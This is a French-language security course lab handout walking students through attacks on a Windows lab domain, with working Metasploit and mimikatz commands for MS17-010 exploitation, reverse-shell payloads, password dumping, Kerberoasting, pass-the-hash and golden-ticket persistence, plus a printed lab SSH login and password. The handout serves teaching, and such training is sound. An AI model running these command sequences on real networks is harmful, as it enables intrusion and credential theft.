	SOS Windows **LAB01 – Password Theft & Persistence**	**Classe** **TX**
SCRT	**Julien Oberson**	**V0.1**

Password Theft & Persistence

1. Introduction

L'objectif de ce laboratoire est de mettre en pratique plusieurs attaques sur les mots de passe Windows.

1. Rendu attendu

Ce laboratoire doit être réalisé **par groupe de deux au maximum.**

Un rapport répondant **de manières détaillées** aux questions posées dans ce document doit être remis à la fin du travail. Les questions qui sont suivies du symbole ◉ doivent contenir une copie d'écran ou un extrait de la sortie de la console pour illustrer la réponse.

Le rapport au format **PDF** doit être transmis par mail au plus tard le mardi **10.03.2020** à **23h59** à :

- julien@scrt.ch
- loic.haas@heig-vd.ch

Chaque jour de retard réduira la note d'un point. Le nom du document doit respecter le format suivant : **sos2020-lab01_nom1_nom2.pdf**

2. Infrastructure

Les machines de laboratoire sont hébergées dans le Cloud et seront accessibles pendant la durée du laboratoire.

Chaque groupe dispose d'un accès à une machine d'attaque sur le réseau de laboratoire selon la répartition effectuée en classe et sur laquelle ils peuvent se connecter en SSH. Ne pas modifier la configuration des machines virtuelles Windows.

3. Réalisation

3.1. Reconnaissance

- Se connecter en SSH sur la machine d'attaque et ouvrir une session *tmux* (**X** étant votre numéro de groupe)

```
ssh training_cloud@35.216.244.67 # Pwd : $0$trAining2020
tmux new -s groupe_x
```

- Vous pouvez à tout moment reprendre votre session en cas de coupure en tapant

```
tmux a -t groupe_x
```

- Lancer Metasploit, créer un nouveau workspace et effectuer une reconnaissance du réseau 10.13.37.0/24.

```
/opt/metasploit-framework/msfconsole
workspace -a groupe_x
db_nmap -Pn -n -F 10.13.37.0/27 --open
```

- Utiliser le module *smb_version* afin d'obtenir plus d'informations sur les machines Windows.

```
use auxiliary/scanner/smb/smb_version
services -p 445 -R
run
```

- Relancer le module *smb_version* en écoutant le trafic réseau à l'aide de *tcpdump*. Le fichier *pcap* obtenu peut ensuite être exporté et ouvert avec Wireshark.

```
sudo tcpdump -i ens4 -w /tmp/smb_version_X.pcap &
run
sudo pkill tcpdump
```

Questions:

P1: Expliquer l'utilité de l'argument -Pn et dans quelles circonstances est-ce qu'il s'utilise ?
P2: Quel est le contrôleur de domaine ? Comment pouvez-vous le déterminer (2 façon distinctes)?
P3: A partir de la capture *tcpdump*, déterminer comment la version de Windows est récupérée ? ◉

3.2. Exploitation de vulnérabilités logicielles

- Rechercher d'éventuelles machines vulnérables à MS17-010.

```
use auxiliary/scanner/smb/smb_ms17_010
services -p 445 -R
run
```

- Exploiter la vulnérabilité sur l'une des machines vulnérables afin d'en prendre le contrôle.

```
use exploit/windows/smb/ms17_010_psexec
set RHOSTS [target_ip]
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

Questions:

P4: Quels sont les droits d'exécution que vous obtenez ? ◉
P5: Comment expliquer que vous disposez d'autant de privilège ?
P6: Quel processus exécute votre *meterpreter* sur la machine victime (pid+nom) ? ◉
P7: Quelle est la différence entre la version *reverse_tcp* et *bind_tcp* de *meterpreter* ?
P8: Dans quelle situation est-il recommandé d'utiliser la version *reverse_tcp* ?
P9: Dans la sortie de l'exécution, la notion de *stage* apparait, de quoi s'agit-il ? ◉

3.3. Vol de credentials

- Récupérer autant de mots de passe que possible sur la machine exploitée et notamment ceux stockés aux emplacements suivants :
  - SAM (*module msf > post/windows/gather /hashdump*)
  - MS-CACHE (*module msf > post/windows/gather /cachedump*)
  - LSASS (*extension meterpreter > load kiwi ; creds_all*)

- Chercher si le domaine exploite des GPP pour le déploiement de mots de passe de configuration. X correspond à la session meterpreter que vous avez établie sur la machine Windows 10.

```
use post/windows/gather/credentials/gpp
set SESSION [X]
run
```

- Tester si les mots de passe découverts peuvent être réutilisés sur d'autres machines ?

```
use auxiliary/scanner/smb/smb_login
set SMBUser [username]
set SMBPass [pass]
set SMBDomain [domain]
services -p 445 -R
```

```
run
```

Questions:

P10: Quels sont les formats de hash utilisés pour stocker les mots de passe dans la SAM ? A quoi correspondent les différentes parties ? ◉
P11: Comment expliquer que plusieurs comptes partagent les mêmes hashs ?
P12: Quel est le format de hash utilisé pour stocker les hash MS-CACHE ? A quoi correspondent les différentes parties ? ◉
P13: À quoi correspond le compte qui se termine par un $ retrouvé dans la mémoire de LSASS ? ◉
P14: Quel type de compte est nécessaire afin d'accéder au GPO sur le partage SYSVOL ?
P15: Quel est l'identifiant de la GPO qui contient le mot de passe ? ◉
P16: Quelle est la valeur chiffrée en CPassword qui correspond au mot de passe trouvé dans la GPP ? ◉
P17: Est-ce que ce compte (cf. P16) est utilisé sur l'une des machines (*smb_login*) ? Comment expliquer le résultat que vous obtenez ? ◉

3.4. Kerberoast

- Rechercher les SPN disponibles sur le domaine depuis la session *meterpreter* de la machine compromise.

```
shell
setspn -T wad.local -Q */*
```

- Utiliser le module *get_user_spns* afin de récupérer le TGS d'un service vulnérable.

```
use auxiliary/gather/get_user_spns
set RHOSTS [domain_controller]
set user [domain_account]
set pass [domain_password]
set domain wad.local
run
```

- Sauver le hash récupéré dans un fichier et cracker le mot de passe du compte à l'aide de john the ripper.

```
/opt/john/run/john --format=krb5tgs [hash_file]
```

Questions:

P18: Quel compte avez-vous utilisé pour le module *get_user_spn* ? Pourquoi ?
P19: Illustrer le résultat obtenu et expliquer pourquoi une seule entrée est retournée par le module ? ◉
P20: Quel est le SPN complet vulnérable ?
P21: Quel est le compte du domaine associé à ce SPN ?
P22: Est-ce que ce compte est utilisé sur l'une des machines (utiliser *smb_login*) ? ◉

3.5. Mouvements latéraux

- Utiliser le module *psexec* afin de prendre le contrôle (*meterpreter*) du serveur sur lequel vous disposez d'un compte privilégié.

```
use exploit/windows/smb/psexec
set RHOSTS [target_ip]
set SMBUSer [username]
set SMBPass [password]
set SMBDomain [domaine]
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

- Voler les mots de passe sur ce nouveau serveur en utilisant les différents modules d'extraction (SAM/LSASS).

- Faites une attaque de type passe the hash afin d'exécuter des commandes sur un autre serveur.

```
use exploit/windows/smb/psexec
set RHOSTS [target_ip]
set SMBUSer [username]
set SMBPass [lmhash]:[ntlm_hash]
set SMBDomain .
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

- Voler les mots de passe sur ce nouveau serveur en utilisant les différents modules d'extraction (SAM/LSASS)..
- Trouver un moyen de prendre le contrôle du contrôleur de domaine.

  😉

- Extraire tous les comptes du domaine.

```
hashdump
```

Questions:

P23: Quels sont les privilèges requis pour l'utilisation de *psexec* ?
P24: Quelle vulnérabilité exploitez-vous pour rebondir sur le second serveur ?
P25: Comment avez-vous pu récupérer un compte du domaine sur le second serveur ? ◉
P26: Quelles sont les actions qui justifient l'utilisation d'un compte « Domain Admins » ?
P27: Comment éviter qu'un de ces comptes puissent être volés ?

3.6. Persistance

- Monter une session *meterpreter* sur le serveur SQL avec le compte svc_sql

```
use exploit/windows/smb/psexec
set RHOSTS 10.13.37.11
set SMBUSer svc_sql
set SMBPass [password]
set SMBDomain WAD
set payload windows/x64/meterpreter/reverse_tcp
set LHOST [attacker_ip]
run
```

- Migrer dans un processus appartenant au compte *student**X*** (remplacer **X** par votre numéro de groupe) et utilisez *getuid* pour vérifier l'opération.

```
migrate [PID]
getuid
```

- Récupérer le SID du domaine avec la commande *whoami*

```
shell
whoami /all
exit
```

- Nettoyer le contenu du cache Kerberos

```
load kiwi
kiwi_cmd kerberos::purge
```

- Lancer un invite de commandes Windows avec *shell* et essayer de monter le disque C du contrôleur de domaine

```
shell
net use x: \\wad-dc01.wad.local\c$
exit
```

- Utiliser le hash du compte *krbtgt* récupéré en 3.5 afin de générer un golden ticket à l'aide de *mimikatz.* Utiliser un nom d'utilisateur reconnaissable qui ne fait pas partie du domaine.

```
load kiwi
golden_ticket_create -d [domain_name] -u [username] -s [domain_sid] -k [krbtgt_hash] -t goldent_ticket.kirbi
```

- Injecter le ticket généré dans votre session utilisateur

```
kerberos_ticket_use goldent_ticket.kirbi
```

- Réessayer de monter le partage Windows du contrôleur de domaine

```
shell
net use x: \\wad-dc01.wad.local\c$
exit
```

- Accéder aux logs de connexion du contrôleur de domaine en PowerShell en utilisant le golden ticket injecté :

```
load powershell
powershell_shell
Get-EventLog -LogName Security -ComputerName WAD-DC01 -Newest 30 | Where-Object {$_.EventID -eq 4624} | Select-Object -Property TimeGenerated, EventID,@{Label="Username";Expression={$_.replacementstrings[5]}}
exit
```

Questions:

P28: Pourquoi migrer dans un processus appartenant à l'utilisateur *studentX* ?
P29: Qu'est-ce qui se passe quand vous essayez de monter le partage la première fois ? Qu'est-ce qui se passe la seconde fois ? Comment expliquer cette différence ? ◉
P30: Localiser l'événement d'authentification généré avec le Golden Ticket dans les logs du DC ◉
P31: Combien de temps est valable le golden ticket que vous avez généré ?
P32: Qu'est ce que l'administrateur du domaine doit faire s'il détecte qu'un attaquant a compromis le hash du compte krbtgt ?